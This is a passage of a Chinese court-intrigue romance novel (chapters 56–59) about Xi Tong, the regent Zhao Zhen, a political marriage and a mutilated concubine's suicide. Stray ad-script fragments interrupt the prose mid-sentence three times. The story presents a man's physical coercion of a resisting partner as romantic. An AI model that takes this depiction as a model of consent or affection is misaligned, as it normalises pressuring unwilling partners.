高澜在黑暗中微微颔首,片刻,他对尚未走远的奚瞳说道:“奚瞳,我姓高,是当朝亲王,须为我的族人谋将来。他日赵臻问鼎,高家之人,大概不会有活路。可若赢的是我,我绝不会伤赵臻性命。” 奚瞳轻笑一声:“昭阳王,你才是真的天真。” 政治斗争之中,一个人的生死,岂是个人意志所决定的。 高澜见奚瞳不屑,在茫然之中,他心中莫名生出一阵急切,他伸出手上前一步,试图挽留奚瞳,却终究只触到她在风中飘动的衣袂。 奚瞳彻底消失在夜幕尽头,高澜伸手抚摸自己发闷的胸口,他到底是怎么了……奚瞳对他情绪的影响已经大大脱离了他对自己的掌控。 为什么会这样……为什么…… 经过同高澜的一番纠缠,奚瞳回到栖梧宫正殿的时候,越阳王妃已经带着高凌站到了太后跟前,两人屈膝,对太后行礼赔罪,这件事也算有了了结。 但王妃对周潮说,郡主今日有错,但确实也受了委屈,要回娘家住几天。 刚成婚的新妇回了娘家,旁人看了,怎么也要猜测一番,肯定是男方做了什么过分之举,逼得新娘子如此。王妃此举,也算是给女儿出一口气。 周潮十分配合,他亦躬身向王妃赔礼:“小婿今日确实太过激动,下手重了,让郡主受了委屈。但小婿身居宫门要职,须将国法放到个人前头,还望岳母大人谅解一二。郡主回家中小住几天,散散心也好。待郡主气消了,小婿便去接郡主,届时郡主无论如何责罚小婿,小婿都甘心受得。” “哼……”王妃没好气冷哼一声。 奚瞳也在心里哼一声,这周潮,倒真是个会说话的。 她腹诽完周潮,再看赵臻,才发现他一直盯着自己,目光极冷,像是要生吞了她。 奚瞳好生纳闷,刚才来的时候还好好的,他这是怎么了?谁惹着他了?就算有人惹他了,他那么看她做什么,冤有头债有主,谁惹祸了谁弥补啊,关她什么事…… 待到栖梧宫的人散了,两人上了车辇,奚瞳被赵臻一把拉过去,她整个人坐在了他腿上,腰被赵臻紧紧揽住。 “大晚上的,你发什么邪火?” 奚瞳低着声音,此时马车未动,林载和张逑他们就在外头,若赵臻胡来,她的脸面还要不要了…… 赵臻却一点情面都不留,一把扯住奚瞳的外衣,稍加内力,奚瞳的锦裘就被生生撕碎了。 奚瞳吓了一跳,下意识的护住自己的肩膀,哪怕她里头还穿了两层衣衫。 “你做什么?!” 赵臻黑着一张脸,如今春寒料峭,他虽对奚瞳“动粗”,但仍怕她着凉,他将自己的披风解下来,裹到奚瞳身上。随即拿起身边已经碎掉的一方不了,递到奚瞳眼前,上头有隐隐的一个掌印,指痕修长,手掌阔大,一看就是男子的手。 “这是什么?”赵臻问道。 此时马车缓缓起步,车内车外只剩彼此,奚瞳也放心了一些,她看着眼前的掌印,应当是方才高澜将自己困在假山时,他手上沾了山石上的尘土,印在她衣衫上的。 “方才在栖梧宫后园,我遇见了高澜。”奚瞳坦诚道。 赵臻牙关的肌肉紧了紧:“他同你说什么了?” 奚瞳的眼神黯了黯:“没说什么,他问我为什么不戴他送我的簪子,我说我不喜欢。” 奚瞳这句话让赵臻有些舒坦,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他也知道,这绝不是他们二人交谈的全部内容,他的大手于狠狠捏了捏奚瞳腰窝上的软肉:“不老实!说实话!” 奚瞳这里极为敏感,被赵臻这么一捏,痛感痒感齐齐袭来,她环住赵臻的脖子:“回家再说。” 奚瞳瓮声瓮气,赵臻也没了办法:“之前那么刚强倔强,似是天下人都欠你二百两银子,如今也学会撒娇了。” “谁让你吃软不吃硬。”奚瞳反驳。 赵臻被她这副样子逗笑了,醋意消了大半。 马车行至太傅府,赵臻照旧将奚瞳一路抱到内室。 自打进了赵家大门,奚瞳便对赵臻絮絮叨叨。 “高澜说,他到底姓高,跟你是注定的对手。” “当我的对手,那要看他有没有这个本事。” “高澜说,他将来若是赢了,会保你性命,但你若赢了,却不一定放过他。” “他赢不了。” “高澜说,你有过许多女人。” “他放屁!”赵臻前几句的回答多少都带了些敷衍,唯独这句脏话,他说得斩钉截铁。 奚瞳心中泛起甜蜜,忍不住笑了笑,可很快,甜蜜便对更多的苦涩覆盖。 “高澜还说,出现在你身边的那些女人,都没有好下场。” 赵臻的步子停了停,他认真看向怀里的人:“你不一样。” 赵臻的神情真挚,哪怕只是在当下这一刻,奚瞳也觉得安心。 “嗯。”她点了点头。 回到内室,赵臻将奚瞳放到榻上,将她的外衣和鞋履都褪下来。 他自己也换了轻便的里衣,坐在了奚瞳身边。 “周潮这一巴掌,是有意为之。”赵臻道:“他是在告诉越阳王和周正,这场联姻,他没有放在眼里。” “也是昭告天下。”奚瞳补充:“周家的周潮,彻彻底底倒戈成为了赵臻的人。这是一个很重要的信号,你手上的筹码会越来越多。” “你今日似乎有意为王妃解围,为什么?”赵臻问。 “为了越地的五万雄兵。”奚瞳道。 赵臻看向她:“你的意思是说,你想拉拢王妃,跟我们合作?” “嗯。” “很难。”赵臻直言不讳:“高江虽是个混账,但这位王妃是情深义重之人。她没有理由不帮自己的夫君,反而来帮我。” 奚瞳也看向赵臻:“正因情深义重,才有拉拢的可能。不是所有女子,都将夫妻之爱、小家之和置于江山百姓之前的,王妃出身将门,自有她的风骨。更何况,高江难道是什么良人吗?要长相没长相,要身材没身材,要德行没德行。这么多年了,王妃未必想不明白。” 赵臻看着奚瞳的灼灼目光:“你似乎挺喜欢这位王妃。” “嗯。我尊重军人,也羡慕王妃”奚瞳笑了,瞳孔里也亮起光:“昔年在长秦时,我就很想学习弓马骑射,但父……父亲觉得我是女子,学这些东西是不务正业,也是僭越。听说王妃年轻时骑□□绝,还曾率兵在边境斩杀敌寇,英姿飒爽,不是寻常闺阁女子可比。多好啊……” 赵臻的唇角勾起来,环住奚瞳的腰:“等诸事定了,我教你骑马射箭。” “真的?”奚瞳很是惊喜。 “真的。”赵臻点了点头,继而眸子微黯:“不过,在这之前,你还有一件事要学。” “什么?”奚瞳不解。 赵臻将自己的前襟撩开,露出胸膛上的肌肉,继而半倚在床梁,双臂展开,呈现出“任人宰割”之象。 “今夜,我做你的马。” 奚瞳脸上一热,起身就要逃,却被赵臻一把抓回来,将她狠狠禁锢在他的身上。 “是你说你要学骑射的,不许反悔!” 奚瞳挣脱不得,最后咬着下唇,泫然欲泣:“你……” 赵臻最见不得她哭,轻轻吻了吻她:“不难的,我教你。” 57.第 57 章 奚瞳腰酸腿软醒过来的时候,赵臻已经去上朝了。 她记得昨日在意乱情迷中,赵臻对她说:“我最近会有些忙,你不许想别人,若被我发现你走了神,心思不在我身上,我有的是招数罚你。” “罚你”二字被赵臻说得极为暧昧,奚瞳自然知道他是什么意思。 一觉醒来,回想这一幕,她依然面红耳赤。 她抱着膝盖坐在床上,心想她再也不要学什么“骑马”了。可再一转念,为什么要因为赵臻这个混账而影响自己的学习计划呢?再说了,骑马有什么好怕,马还能比赵臻更难骑吗? 思绪刚到这里,奚瞳就把整张脸埋在了膝盖上。 救命啊这是什么虎狼之词啊……她不干净了…… 奚瞳在榻上翻来覆去自我斗争了许久,好不容易才平静下来。 她起身,裹了一件披风走到窗边,小潭边的柳树已经冒了许多嫩芽,她去年刚来时亲手栽植的迎春也已经盛放,整个院子鹅黄与鲜绿交错,春天了。 赵臻大概真的会忙一阵子。雪灾之后的第一年春耕尤为重要,关乎未来几年的民生。 去年腊月那场朝堂清谈之后,赵臻免去了农人的赋税,税收少了,官员的俸禄难免会降,迫于群臣压力,赵臻没有明确说明减税的期限。时至今日,许多搜刮惯了民脂民膏的官员和氏族已经坐不住了,朝中近来又是暗流涌动。 农人免了税,除却俸禄,国库也空了一块。如今列国并立,伐交频频,没钱是不行的。赵臻有意鼓励行商,但商人自古以来便是下九流,此举恐怕也要费一番功夫。 加之奚瞳之前提过的,以科考代替定品,赵臻是放在心上了的,如今大盈的朝堂蠹虫太多,他早就想换一换血,推行新政倒是个很好的机会,趁着这段时间把尸位素餐的那批人揪出来,朝堂空缺的职位多了,科考更容易成行。 多事之秋,赵臻恐怕又要焚膏继晷了。 奚瞳想起昨天半夜,她口渴醒来时,赵臻还在烛光下伏案疾书,不由喃喃:他年纪都这么大了,体力怎么还这么好。 说完她自己又愣一下,奚瞳你成天脑子里都在想些什么啊啊啊啊…… “姐姐!今天不是要去看韵仪吗?食盒都准备好了,还要带什么吗?”紫虚站在院子里远远喊着,打断了奚瞳的胡思乱想。 她深吸几口气,是啊,今天还有正事要做,要去陆家看韵仪的。 一个月多月前,陆忧受完鞭刑,赵臻将他和周韵仪的婚事定了下来,因着这场周赵两党的联姻,保住了他司隶校尉的官职。那天之后,周韵仪以未婚妻的身份住进了陆家,照顾陆忧的伤势。 五十道鞭子对一个手无缚鸡之力的书生来说实在太重,陆忧昏迷了好几日,至今还缠绵榻上。 此时艳阳高照,陆忧已经醒了,看到坐到床榻边,准备给她喂药的周韵仪,依旧没有好脸色。 这桩婚事,陆忧很有些不情愿,若不是周韵仪,赵臻本不会想到这样的招数。 他半生都自诩君子,不想依靠女人的裙裾在朝堂立本,可偏偏天不遂人愿,承桑绿绮非他所想,周韵仪他也不愿要。 周韵仪看到陆忧的神情,不禁觉得好笑,她从未见过一个男人,耍脾气能耍这么久的。 周韵仪端着药碗,舀了一勺,吹了吹,送到陆忧嘴边,陆忧纹丝不动。 周韵仪也不动气,她听闻大朝晖殿近来政事繁忙,作为朝堂肱骨的她的夫君,也该清醒一点了。最重要的是,伏低做小伺候这人一个多月,她也实在有些够了。 她将药碗放到一边:“我知道你不想娶我,你喜欢奚瞳。” 陆忧被这样直接地戳破了心事,不由有些恼:“你胡说什……” “前几日我去你书房找书看,不经意间发现了你的暗室。” 作为司隶校尉,陆忧尽职尽责,暗室之中,是朝廷各部官员的调查文书,还有……一幅他亲手绘制的小像,画的是奚瞳在陆家的樱花树下坐着打瞌睡。 “周韵仪,你凭什么进我的书房、动我的东西?!”陆忧是真的动了肝火,他极少这样生气。 周韵仪面不改色:“凭我四个月后,会成为这里的女主人。” “你……” “赵臻知道你觊觎奚瞳吗?”周韵仪沉声问道:“自古以来,君臣争夺同一女子,无一例外,皆作反目,要么臣死,要么君亡。陆忧,你父亲的遗志,陆家的荣耀,你都不顾了吗?” “我……” “奚瞳跟前,你绝不是赵臻的对手,趁早死了这条心。”周韵仪一字一句,直剜陆忧的肺腑。 陆忧垂首,双眸泛红,言语间透着恨意:“即便不是奚瞳,也不会是你。” “呵……”周韵仪笑出了声:“你以为我是喜欢你才嫁给你吗?你的确比这世间的大多男子知礼有节,我看重的也是你这一点。但看重归看重,我还不至于因你这点好处就对你情深一往,我又不是什么花痴病!” 周韵仪这番话说得坦坦荡荡,甚至颇有几分气概,让陆忧一时也没了辩驳之语,只能沉默下来。 半晌,周韵仪叹息一声,开了口:“陆忘名,我听过你在虹州的许多事情。兰河公子,惊才绝艳。你们这种自幼怀有盛名的男子,难免对这世间还有一些浪漫的绮思,我能理解。我嫁给你,图的不是你的真心,我只是想轻松一点活着,不必勾心斗角,不必曲意逢迎。你若能尊重我,许我余生安定,我保证,他日你遇到真心倾慕的女子,纳进府来,我绝不苛待她。” 周韵仪的话让陆忧有些意外,世家大族后宅里的手段,他听说过不少。赵臻决定用周潮和周韵仪时,就已将他们的底细打听了清楚。这是周家活得最艰难、也最有城府的两个孩子,陆忧是知道的。 陆忧还在怔愣,周韵仪又重新将药端了起来。 “好好吃药,快点好起来,我可不想你就此瘫在床上,连夫妻义务都尽不了。” 周韵仪这句话一出,陆忧又拧眉盛怒,只不过与方才稍有不同,他脸颊和耳后泛起了微微的红。 “周韵仪!你有没有廉耻?!”陆忧低声斥道。 周韵仪翻了个白眼:“衣食足才能知荣辱,我如今的境况还远没有到能将廉耻放到第一位的程度。” 陆忧被她气得都有点哆嗦,周韵仪却又忽得认真起来:“不过陆忧,说笑归说笑,有些话要说在前头。你可以有心爱的女子,可以盛宠她、甚至专宠她。但你须得给我一个孩子。我信不过你,也信不过你那素未谋面的命定之人,我只信我自己的骨血。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夫妻之爱你不能给我,总得给我舐犊之情,我不想有老无所依那一天。” 不知为何,听到周韵仪这般直白地剖析日后在陆家的处境,陆忧的心中泛起一瞬锐痛。 他没有说话,只是接过周韵仪手中的药碗,仰首一饮而尽。 药太苦,他忍不住蹙眉闭眼,还打了个寒战。 再睁开眼时,他发现周韵仪正含笑望着他。 周韵仪将空碗拿到手里,准备离开,让陆忧休息,不过在起身之后,她伸手捏了捏陆忧的脸颊:“你不怄气的时候,其实十分英俊顺眼。以后乖一点。” “周韵仪!”陆忧的耳朵又红了。 周韵仪不理会陆忧的抓狂,走之前,她对陆忧真心说道:“奚瞳在如今这样的世道,算是奇女子,你不如赵臻,配不上她。不过陆忘名,你配我,还是绰绰有余。” 陆忧看着周韵仪身影消失的方向,不由抬手扶住了自己的心口,那里竟不自觉猛烈跳动了几下,这让他错愕而又不甘。 不过很快这种异样的情愫就平静下来,汤药化淤生肌,更有安神之效。陆忧喝下不久便有些困了,沉沉睡了过去。 同陆忧交谈一番,周韵仪的心情并不好。 她独自走到前厅的荷花池边,坐在一方大石上,俯身低头,伸手入水,逗弄着游弋的红鲤。 春日已至,但池塘的水还是冷的,可她似是麻木了,没有任何感觉。 她方才已经将自己毕生所求都与陆忧讲明白了,她也相信以陆忧的品性,会尽可能地满足她。可她还是心里发沉,她如今是待嫁之身,再有四个月,她就要嫁给京中这位炙手可热的青年才俊,可她似乎已经看到了自己在这场姻缘里的结局。 她会和陆忧度过相敬如宾的一生,只不过这“敬”里,有利益的考量,也有义气的支撑,独独不会有爱意的滋养。 “韵仪!” 周韵仪抬头,是奚瞳和紫虚,她迅速换上一张笑脸:“你们怎么来了?” “想你了呀,来看你。” 奚瞳笑眼弯弯,周韵仪的心情因此疏阔不少。 “陆忧还好吗?听说他还是不能下床,他这身子骨也太弱了吧,能不能行!” “好歹是你曾经的主人家,你盼他点好不行吗?” “行行行。不过你还好吗?我瞧着你脸蛋都小了,是不是照顾陆忧很辛苦,都累瘦了。” 周韵仪看着奚瞳关切的眼神,突然就有点想哭,从小到大,还是头一回有人关心她辛不辛苦。 见周韵仪不说话,奚瞳便当她默认了:“昨日我和紫虚做了许多点心,都给你带来了。有甜点也有咸点,都是你爱吃的。” 紫虚也补充:“如今天还不热,都能放一阵子,但也不要一味放着,舍不得吃,吃完了我们再给你做。” 周韵仪鼻根酸了酸,点了点头。 几人还在亲热着。 远处突然窜出一阵嬉笑声。 “哈哈哈哈,公子!公子你在哪啊?!”一个批头散发的女人一边跑一边叫喊:“哈哈,公子,我又学了一支新舞,跳给你看好不好?哈哈哈公子你快看啊,看我好不好看!” “绿绮!绿绮你别跑那么快!”若妍在她身后追着:“不能去那边!绿绮!” 58.第 58 章 奚瞳凝神望去,跑过来的是一个身着粉衣、头发凌乱的女子。她恣意地笑着、跑跳着,一边跑一边挥舞着她的手臂,右手的水袖滑落,露出的是一条残肢,断面已经在漫长岁月中全然愈合,看不出曾经血腥的模样,只剩一个诡异光滑的肉团。 承桑绿绮……奚瞳默念这个名字。 区区一年,她竟成了这样的模样。 绿绮似乎认出了奚瞳,她扑进奚瞳的怀里,险些将奚瞳撞倒。 “奚瞳,奚瞳……”绿绮一遍遍喊着她的名字,喊着喊着,双眼就生了泪:“我再也不讨厌你了,你帮我求求公子,他不能不要我,他把我变成今天这样,他不能不要我啊……” 奚瞳心里一阵难受,可很快,绿绮又大笑起来:“我新学了舞,特别好看,公子一定喜欢,以前公子最喜欢看我跳舞了,哈哈哈哈公子最喜欢我了哈哈哈哈……” “绿绮!” 若妍气喘吁吁追了过来,绿绮害怕地躲到了奚瞳身后,只偶尔探出脑袋,看一看若妍,像是做错了事的孩子。 紧随若妍而来的还有两个体格健硕的嬷嬷,两人要伸手拉绿绮,奚瞳阻止了她们。 奚瞳轻轻扯着身后绿绮的手,她有些怯怯地走了出来。 周韵仪已经以准主母的身份在陆府呆了许久,下人们基本都同她相熟了,她同两个嬷嬷使了眼色,嬷嬷识趣地退到了一边。 奚瞳和周韵仪、若妍一道坐到了花园的石桌旁,绿绮在偏院里被拘禁着,如今得了这片刻自由,见百花竞放,蝴蝶飞舞,她便在花丛里扑蝴蝶玩儿,花园里有几处水潭,怕她失足,紫虚在一旁护着她。 若妍有些伤感地看着绿绮的身影,对奚瞳道:“谢谢你。” “谢我什么?” “毕竟绿绮……害过你。” 奚瞳没有说话,她并非大度,只是她知道承桑绿绮已经足够苦,再报复些什么,也不会让她自己快活上几分。 “我和绿绮是一起被公子所救的,我们七岁便被家人卖到了青楼,逃过几次,每次都被毒打,最后一次逃跑的时候,遇到了年少的公子,公子可怜我们,便将我们两个赎了身,养在了陆家。伎子同妓子,写法不同,可实际上没什么区别。可公子,竟真的护住了我们的清白。”若妍苦笑着说:“所以……很难不倾心吧,除了你和紫虚,陆家妆房的姑娘们,都是对公子上了心的,别说是妾,就是通房、暖床的奴婢,我们也愿意。” 若妍的这番话,换来的是奚瞳和周韵仪的沉默。 她们明白这番话的意思,但终究无法完全共情。奚瞳前世为公主,周韵仪出身差些,但也生在世家,对于若妍和绿绮这种深陷泥淖的经历,到底是欠了一层理解。 若妍看出了两人的无言,安抚似地笑了笑:“你们是不是觉得我们很没出息?” 奚瞳回看若妍,坦诚道:“有一点。女子活着,不只依附男子这一条路。” 若妍没有反驳,只深深盯住看着奚瞳的眼睛:“奚瞳,其实你不是乞丐,对不对?” 奚瞳:“……” “我后来想明白了,就凭你在敬酒时威胁太傅大人的那份胆魄,怎么会是街头饥一顿饱一顿的乞儿呢?”若妍叹了一口气:“你见过世面,人又聪明,可妆房的姑娘跟你不一样。我们都是九死一生的苦出身,从烂泥里被公子拽出来,便花草一样扎根在陆家。陆家院子里的天空,就是我们见过的唯一一片天空。公子,是我们见过的唯一的温良的男子。爱上、依附这样的人,是我们唯一的选择,或者说,是唯一的出路。” 奚瞳和周韵仪在若妍的这番剖白之下久久没有说话。 若妍接着说:“我知道,你们可能觉得绿绮很坏,很愚蠢,很贪婪。她当然错了,错得离谱。自从她陷害你,被太傅大人下令断了手,她便彻底迷失了自己。她陷入了想要成为芳夫人的狂热的梦想,以及对你的嫉妒里。她收受官员们的贿赂,跟老爷和大公子不清不楚……她犯禁、枉法、不贞,落得今天的下场,在任何一个人看来,或许都是罪有应得。可是……她爱了公子十几年,她也只是……有一点点不甘心、想让公子多看看她而已。” “芳夫人……”周韵仪讽笑:“你说的可是那位出身风尘,嫁与侯爵为妻的女子?” 若妍看向周韵仪。 “你可知她的结局?”周韵仪问。 若妍有些懵懂,摇了摇头。 周韵仪深吸一口气:“她成为侯夫人后,内宅生活很是辛苦,公婆十分瞧不起她,成婚不到两年,侯爵就纳了一位出身世家的贵妾,就连中匮之权,也交到了这妾室手里。宠妾灭妻,自古以来就是不正之风,可京中豪门对这件事的态度却出奇一致,没有人责备这位侯爷。芳夫人在院子里头谨小慎微,侍奉公婆,伺候夫君,稍有不慎,换来的便是辱骂甚至责打。后来她生下一个儿子,因为她的出身,儿子明明是嫡子,却不能继承爵位。久而久之,儿子也对亲生母亲心生怨恨。没过几年,芳夫人郁郁而终,死的时候,才不过三十出头的年纪。” 若妍听完,眸子里有讶然之色。 周韵仪没有因此停止叙述:“那位侯爷,你猜他后来如何?” 若妍轻咬下唇,不敢说话。 周韵仪冷笑:“芳夫人死后不过两月,他便娶了续弦,正是我的表姐。当年被他纳来执掌中匮的贵妾,也很快被我表姐料理了。当年侯爷同芳夫人何等缠绵,不惜违背宗族,也要为芳夫人赎身。可端看后来这种种,他真的爱芳夫人?他只是享受可以轻易操纵女子命运的感觉,享受女子对他死心塌地的爱与崇拜,享受女子们在后宅里用尽手段、恶相尽显,只是为了争夺他一点点宠爱,至于这些女子是谁,你觉得重要吗?” 若妍方才只是讶然,可此刻,却满脸震撼,还有……信仰破碎后颓败。 奚瞳知道周韵仪的这番话对若妍来说太过残忍,她轻轻拍了拍若妍的肩膀:“女子立世,若只做藤萝,不长久的。若妍,我明白你和绿绮的感情,你们相识于微时,自幼一起长大,我也相信,绿绮爱陆忧。但爱亦有道,若陷在自己的一片痴里,心盲无明,妒恨燃天,害人害己,是不会善终的。” “我……”若妍讷讷开口:“我……知道的。我只是想,绿绮已经这样了,活着未必比死了舒服。听闻周二小姐不日将与公子成婚,坊间传闻,二小姐是有决断之人,我只是想求你们,能不能放绿绮一条生路,我们会老老实实呆在偏院,不会……” “若妍。”奚瞳打断她:“你有没有想过,离开陆府。” “什……什么?” “离开陆府,去看一看外头的世界。”奚瞳道:“苍穹无垠,不只陆府头顶这方寸之大。” “我……” “你不用着急答复我,待你考虑清楚不迟。” …… 若妍同绿绮被嬷嬷带回偏院,周韵仪含笑看着奚瞳:“怎么,你怕我嫁进来之后,杀了她们?” 奚瞳挑眉:“老实说,若绿绮再有什么出格之举,你会如何做?” 周韵仪坦诚道:“你料得不错,她若安分守己还则罢了,若再整什么幺蛾子,我绝不留她性命。我可没你这么好性子。我有时候都在想,观音大士玉净瓶里的水是不是都撒你身上了,让你这么心慈手软。” 奚瞳笑了:“我只是觉得,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 至于此。就像世家后宅里的那些妻妾,她们哪有什么深仇大恨,不过是让男子蒙了心罢了。” “这话我倒是赞同。”周韵仪道:“行吧,看在你的面子上,她们若愿意离府,我便给她们一些银两做安置费,若她们执意留下来,只要她们不太过分,我就睁一只眼闭一只眼,行了吧?” 奚瞳满意:“我就知道周二小姐是天底下最好最好的女子。” “少给我上眼药!” 奚瞳笑笑。 从陆府回来后,接连几天,奚瞳都有些睡不踏实。 赵臻近来公务繁忙,回府时往往已经夜深,吃饭都来不及,更别提跟奚瞳云雨。 这天赵臻终于在天黑之前回了家,用过晚饭,他便凑到奚瞳身上,他实在想她了。 奚瞳没有心情,将他推开来。 赵臻早早就对奚瞳走了心,自然分得清她是欲拒还迎还是真的抵触,他收起自己的欲念,轻轻将奚瞳揽到怀里:“怎么了?” “没什么,只是最近听了一个故事,有些难过。” “什么故事?” “芳夫人。” 芳夫人的夫君是周家的姻亲,这位夫人是什么经历,赵臻自然知道。 “你怕我负你?”赵臻问。 奚瞳摇了摇头:“赵臻,你能答应我一件事吗?” “什么?” “以后你做了皇帝,我不想进宫。”奚瞳道。 赵臻蹙眉:“你不想嫁给我?” “也不是。”奚瞳坦诚:“我只是不想后半生都困在宫里,同别的女子分享一个你,还要装作大度。那座宫城对你们男子来说或许是一方宝箱,但对女子来说,是一口棺材。我不想年纪轻轻就躺在棺材里。” 赵臻胸口发闷,有他在的地方,怎么会是她的棺材,这小丫头一天天胡思乱想些什么? 奚瞳见赵臻的脸越来越黑,知道他生气了,她抬头看他,撒娇道:“哎呀,我不是要离开你。我会住在离皇宫很近的地方,你想我了,就来看我,好不好?” “我是什么见不得光的野男人吗?!”赵臻冷嗤。 “不是,我只是想……” “不准想!”赵臻一把将她抱起来。 奚瞳无奈:“赵臻,我今天真的累了,能不能改天……” “我知道。”赵臻赌气道:“我就想抱着你睡觉,只睡觉!什么都不做还不行吗?” 奚瞳笑:“行。” 春意深深,可早晚还有凉气。一方薄衾,加一个怀抱,温度刚好。 两人都有些辗转反侧。 “赵臻。”奚瞳睡不着,低声开口:“答应我吧,让我安心些。” 赵臻将她狠狠抱在怀里,他的声音飘进她的耳朵:“你不是芳夫人,我更不是一介庸侯。奚瞳,你太低看我了。” 奚瞳听着赵臻雄劲的心跳,在他温热的体温里渐渐生了睡意,她没有强求,来日方长。 …… 次日,伤势初好的陆忧终于重新回了朝堂。 人群散后,赵臻狠狠踹了他屁股一脚,陆忧身子还虚着,差点没摔个狗啃屎。 “赵臻你有毛病啊?!”陆忧也不忍。 赵臻指着陆忧的鼻子:“让你未婚妻管好自己的嘴,少跟奚瞳讲一些乱七八糟的故事。” “啊?”陆忧云山雾罩。 赵臻还不解气:“最近我不想见你,你再去周潮那登记十天病休,十天后再滚回来上朝。” 说完赵臻就气冲冲走了。 林载满脸同情看一眼陆忧,摇了摇头也走了。 陆忧:???我没惹任何人!!! 59.第 59 章 陆忧和周韵仪在盛夏六月里成婚。 最近这几月间,朝廷发生了不少事。陆忧已然保住了官位,那么当初想借着陆家的糟烂事置他于死地的那些乱党,当然就会受到清算。朝堂是没有温情的,输了就要付出代价。 赵臻一边推行自己的政令,一边剪除朝中那些给他使绊子的臣子,夙兴夜寐,不得休息。 政事繁忙,赵臻同奚瞳自然是没时间亲热。他回家时奚瞳已经睡了,他离开时奚瞳还未起。大多时候,抱着她睡两三个时辰,便是他们一天之中唯一的交流。 所以偶尔得了休沐,赵臻便会有些发邪发狠,非要在奚瞳身上尽兴了才行。有时候奚瞳被折腾得大睡一天都不止,身子也消瘦了些。 周韵仪见她清减,又时常窥得她颈子上有吻痕,不免唠叨她几句:“你也太纵着赵臻了。床笫之上,男女都快活才是正道,你们这算什么?” “我只是累一些。”奚瞳红着脸笑笑:“快活还是快活的。” 奚瞳没有说谎,赵臻野欲一起,会有些失度,但他动作是温柔的,奚瞳除了体力不支,没在这上头吃别的苦。 不过奚瞳近来确实因为同赵臻的交颈缠绵生出一桩烦恼。 那一日赵臻从背后抱着她,将脑袋放在她的肩头,似是有些低落和委屈。 “奚瞳,我一直有件事想问你。”赵臻犹疑半晌才开口。 “什么?” “你是否……在背着我吃药?” “吃什么药?” “避子的药。” 奚瞳愣了愣,她似乎有点明白赵臻想要说的话。 “奚瞳,我想要个孩子,我跟你的孩子。”赵臻的声音轻柔,近乎于一种小心翼翼的请求。 奚瞳默然良久,只老实道:“我不曾吃过药。” 赵臻闻言,舒了一口气:“那就好,我还以为你不愿要我的孩子。” “我若是生不出来呢?”奚瞳状似玩笑问道。 “瞎说什么?我们同房才多久,许多夫妻都是成婚多年才有孩子的。我只是怕你乱吃药伤身,但若真教你生养孩儿,我尚且舍不得。再等等,待你长胖一些更好。” 奚瞳心底一软。 越同赵臻相爱,她便越发生出一种感觉,她觉得赵臻在她面前,是有些不同的。 记忆中那个手段凌厉乃至阴狠的宦臣,大朝晖殿上那个杀人不过一句话的太傅大人,只要一进了她所在的书房和内室,就全然不见了暴戾的样貌。 赵臻对她很好,好到甚至会让她产生一种错觉,仿佛他只是世上极其寻常的一个男子,是她的夫君,一辈子都是她一个人的。 可当她真的窥见赵臻对她浓烈的爱与依赖时,她的本能反应,并不是彻底的喜悦,而是丝丝缕缕渗透在喜悦之中的恐惧。 奚瞳第一次明白了,原来人在面对相思时,是这样的患得患失。 例如……她如今心中就很忐忑。虽然同房还不到一年,但她还是有信心做出一个判断,那就是她同赵臻同房的质量,放诸四海,应当也是十分上乘的。 赵臻从未用过羊肠衣,她也没有吃过避子药,所以……她为什么没有身孕…… “姐姐想跟太傅大人育有孩儿吗?” 紫虚见奚瞳有些恹恹,了解一番来龙去脉之后问道。 “嗯?” 奚瞳这才想起,她居然没有思考过这个问题。她愿意跟赵臻有孩子吗?赵臻是要做皇帝的人。 她做过皇家的女儿,知道皇室血脉并非只有风光。 兄弟阋墙手足相残这样的事在皇室之中发生的概率实在太高,就算是女儿往往也背负着为了稳固朝堂去联姻甚至和亲的职责。 赵臻将来绝不会只一个孩子。 而她的孩子,又真的会是幸运到可以安度富贵一生的那个吗? “吉时到! 一拜天地!……” 奚瞳的思绪被喜官高亢的声音打断,她看向正在拜堂的周韵仪和陆忧。 周韵仪风姿绰约,陆忧丰神俊朗,可是两人脸上没有喜悦,反而呈现一种谨慎之色。 她又看向周围来观礼的人,赵周两党皆在,有人祝贺,但更多的人,是在审视。 这场婚事所具有的政治色彩,在主角和宾客的眼神里,已经暴露无遗。 奚瞳觉得有些眩晕,再一转头,拜堂行礼的两人变成了她和赵臻。 可很快她就清醒了,她怎么会和赵臻行这样郑重的夫妻之礼呢,她已经不是公主了,只是一个伎子出身的门客。即便赵臻娶她,也不过是一顶轿子将她从偏门抬进宫城,去奔赴那个锁住她余生的牢笼。 不……她不要这样。 奚瞳看向坐在“高堂”的赵臻,陆忧的叔父陆珏获罪流放,赵臻今日坐在了陆珏该坐的位置上。 昨日陆忧还愤愤不平,说是认个主公也就罢了,还多了个爹。 赵臻冷哼回击:“做父亲的必不教你吃亏。” 察觉到奚瞳的的注视,赵臻的眼睛也望过来,应对周党的肃然慢慢退下去,带了柔情。 奚瞳看得到,可她心里却在说,赵臻,对不起,我不会要你的孩子,也不会走进你执掌的宫城。 千百世太久,你我……只争朝夕。 …… 从陆周二人成婚这天之后,奚瞳变得多梦。 同赵臻在一起之前,她时常梦到长秦的那些岁月,梦到她和赵臻过往的种种。 可如今,她梦到的多是天庭种种。 那五百年她过得十分平静,是天庭为数不多和诸位同僚皆未红过脸的仙子,做到了真正的不以物喜、不以己悲,为此各路仙君都对她赞许有佳。 司命仙娥说:“不愧是一世成仙之人,灵蕴之温和慈爱,天地罕有。” 太白金星说:“小司酒啊,你天生就是要做神仙的,好好干,你能成大事。” 太上老君说:“我这丹药你日后就别讨了,留给更需要的人。” 就连南华真君都说:“西方梵天讲究的是□□,我天界众仙修的是大道忘情,奚瞳,你年纪轻轻就已参透,距离神君之位,只差一世劫难了。” 奚瞳梦到此处,便冷汗涔涔醒过来,大道忘情……忘情…… 她注视着眼前赵臻熟睡中的脸,忍不住伸手抚摸他的脸颊,他们都说她参透了,可她哪里参透了,她明明这般舍不得赵臻。 …… 奚瞳胡思乱想了很久,终究被一桩事情打断——承桑绿绮在一个清晨悬梁而亡。 前一天晚上她又偷偷跑出去,跑到了陆忧和周韵仪的院子。 没有人知道她看到了什么,或许是看到了这对新婚夫妻恩爱有加的模样,也或许是听到了什么骇人听闻的对话。 